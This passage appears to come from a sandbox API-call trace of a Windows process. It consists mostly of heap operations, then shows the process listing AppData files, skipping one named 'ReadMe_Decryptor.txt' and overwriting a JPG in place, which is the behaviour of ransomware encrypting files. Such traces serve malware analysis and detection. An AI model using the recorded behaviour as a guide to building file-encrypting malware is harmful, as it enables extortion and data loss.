(HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5f4c58 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a0c8 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x599fa8 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603e50 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a0c8 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e50 | out: hHeap=0x540000) returned 1 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599fa8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x599fa8 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x5e28c8 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599fa8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603e50 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5f4c58 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a0c8 [0043.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0043.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x5e28c8 [0043.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0043.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e50 | out: hHeap=0x540000) returned 1 [0043.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e00 | out: hHeap=0x540000) returned 1 [0043.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5ea660 [0043.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x606890 | out: hHeap=0x540000) returned 1 [0043.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603d60 | out: hHeap=0x540000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x28d0920 [0043.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x28d0920 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5f38b0 [0043.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0043.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f38b0 | out: hHeap=0x540000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x606890 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x28d0920 [0043.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x28d0920 [0043.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5f38b0 [0043.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f38b0 | out: hHeap=0x540000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0043.148] QueryPerformanceCounter (in: lpPerformanceCount=0x18fa10 | out: lpPerformanceCount=0x18fa10*=18501944874) returned 1 [0043.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa50 | out: lpSystemTimeAsFileTime=0x18fa50*(dwLowDateTime=0xaa62e1c0, dwHighDateTime=0x1d5e09d)) [0043.148] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0043.148] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603d60 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603d60 | out: hHeap=0x540000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603d60 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603d60 | out: hHeap=0x540000) returned 1 [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0043.149] GetLastError () returned 0x0 [0043.149] SetLastError (dwErrCode=0x0) [0043.149] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5f38b0 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5f3028 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5bbfc0 [0043.149] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603d60 [0043.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e00 [0043.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x563070 [0043.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5fc6d0 [0043.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e50 [0043.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5ec8b8 [0043.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x513) returned 0x5da330 [0043.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x59a7c8 [0043.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x562910 [0043.155] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a7c8 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x5ea7f8 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e78 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603b80 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e78 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x59a7c8 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603b80 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x562910 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x52b) returned 0x5fbf50 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fbf50 | out: hHeap=0x540000) returned 1 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5f4c70 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb918 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603b80 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e78 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603ba8 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603bf8 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e78 | out: hHeap=0x540000) returned 1 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603b80 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x562910 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603b80 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e78 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603b80 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x6087a0 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e78 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x433) returned 0x5eb458 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e50 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x562c90 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6087a0 | out: hHeap=0x540000) returned 1 [0043.156] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a0c8 [0043.157] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x6087a0 [0043.157] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x28d0348 [0043.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e00 | out: hHeap=0x540000) returned 1 [0043.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5f4610 [0043.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0348 | out: hHeap=0x540000) returned 1 [0043.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603bf8 | out: hHeap=0x540000) returned 1 [0043.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603ba8 | out: hHeap=0x540000) returned 1 [0043.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb918 | out: hHeap=0x540000) returned 1 [0043.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6087a0 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a7c8 | out: hHeap=0x540000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5755d8 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5755d8 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5da330 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ec8b8 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562c90 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563070 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603d60 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f3028 | out: hHeap=0x540000) returned 1 [0043.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5755d8 [0043.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x575700 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5755d8 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x575700 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4610 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f38b0 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603e28 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0043.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603db0 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603d88 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9420 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f00 | out: hHeap=0x540000) returned 1 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9420 [0043.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0043.161] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", fInfoLevelId=0x0, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x5dac60 [0043.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0043.161] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa4b93c60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa4b93c60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0043.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0043.161] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde2801c0, ftCreationTime.dwHighDateTime=0x1d5bad2, ftLastAccessTime.dwLowDateTime=0x63863580, ftLastAccessTime.dwHighDateTime=0x1d5c00f, ftLastWriteTime.dwLowDateTime=0x63863580, ftLastWriteTime.dwHighDateTime=0x1d5c00f, nFileSizeHigh=0x0, nFileSizeLow=0x6807, dwReserved0=0x0, dwReserved1=0x0, cFileName="-1bc-uXLG CGOot_.jpg", cAlternateFileName="-1BC-U~1.JPG")) returned 1 [0043.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0043.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0043.161] lstrcmpW (lpString1="-1bc-uXLG CGOot_.jpg", lpString2="ReadMe_Decryptor.txt") returned -1 [0043.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-1bc-uXLG CGOot_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-1bc-uxlg cgoot_.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0043.161] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x6807 [0043.162] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x691f, nNumberOfBytesToLockHigh=0x0) returned 1 [0043.162] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0043.162] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0043.351] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100023) returned 0x3780020 [0043.368] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0043.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0043.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x28d5e30 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0043.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0043.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28ea198 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x608f00 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x61c990 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f00 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x5fc980 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0043.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x628a10 [0043.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0043.372] WriteFile (in: hFile=0x2d4, lpBuffer=0x628a20*, nNumberOfBytesToWrite=0x6928, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x628a20*, lpNumberOfBytesWritten=0x18fa94*=0x6928, lpOverlapped=0x0) returned 1 [0043.372] HeapFree (in: 